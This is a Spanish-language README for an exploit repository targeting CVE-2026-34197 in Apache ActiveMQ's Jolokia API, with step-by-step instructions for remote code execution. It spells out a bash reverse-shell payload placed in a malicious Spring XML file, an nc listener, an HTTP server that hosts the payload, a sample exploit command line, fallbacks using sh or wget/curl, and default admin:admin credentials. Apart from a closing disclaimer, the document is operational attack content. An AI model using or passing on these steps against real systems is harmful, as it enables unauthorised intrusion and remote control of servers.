
Exploit script para CVE-2026-34197, dirigido a la API Jolokia de Apache ActiveMQ para lograr ejecución remota de código mediante una configuración XML maliciosa de Spring, con capacidad de shell inversa.
Este repositorio proporciona un entorno de reproducción y un script de explotación para la vulnerabilidad de ejecución remota de código (RCE) basada en la interfaz Jolokia API (/api/jolokia/) expuesta en Apache ActiveMQ.
Al invocar la operación addNetworkConnector, se fuerza a ActiveMQ a analizar un archivo de configuración Spring XML remoto creado de forma maliciosa, aprovechando así MethodInvokingFactoryBean para ejecutar comandos del sistema.
payload.py: Script principal de explotación que envía solicitudes HTTP POST con un nombre de Broker dinámico.payload.xml: Archivo de configuración Spring Bean malicioso que contiene la carga útil del comando de reverse shell.pip install requests
apache/activemq-classic:6.1.0).payload.xml)Abra payload.xml en la máquina atacante y localice la siguiente sección:
<value>bash -c 'bash -i >& /dev/tcp/LA_IP_DE_SU_SERVIDOR_EN_LA_NUBE/15000 0>&1'</value>
Reemplace la IP por la IP pública de su servidor en la nube. Si el entorno objetivo no tiene bash, cámbielo por sh u otro método de ejecución según el entorno objetivo.
En la máquina atacante (servidor en la nube), abra una terminal y escuche en el puerto especificado (p. ej., 15000):
nc -lvvp 15000
Nota: Asegúrese de que el grupo de seguridad/cortafuegos del servidor en la nube haya permitido el tráfico entrante TCP en el puerto 15000.
En la máquina atacante (en el mismo directorio donde se encuentra payload.xml), inicie un servidor HTTP para que el objetivo pueda descargar el archivo XML:
python3 -m http.server 9000
Nota: También debe asegurarse de que el grupo de seguridad/cortafuegos del servidor en la nube haya permitido el tráfico entrante TCP en el puerto 9000.
Ejecute payload.py en la máquina local (o en la máquina atacante).
El script admite pasar la IP:puerto del ActiveMQ objetivo (-t) y la IP:puerto de la máquina atacante que aloja el XML (-a) mediante argumentos de línea de comandos.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
Tras la ejecución, el script generará automáticamente un brokerName aleatorio (p. ej., rce_a1b2c3) para resolver por completo el error de conflicto de nombres java.io.IOException : Network Connector could not be registered in JMX.
Si la explotación tiene éxito:
python3 -m http.server 9000) mostrará un registro de solicitud GET 200 para /payload.xml.nc recibirá la conexión del reverse shell desde la máquina objetivo./bin/bash (común en imágenes base minimalistas como Alpine). Modifique el comando de ejecución en payload.xml a /bin/sh, o use wget/curl para transferir un script y luego ejecutarlo.admin:admin).Este script y las instrucciones están destinados únicamente a pruebas de seguridad autorizadas y fines educativos. Está estrictamente prohibido su uso para pruebas ilegales no autorizadas. El usuario es responsable de sus propias acciones.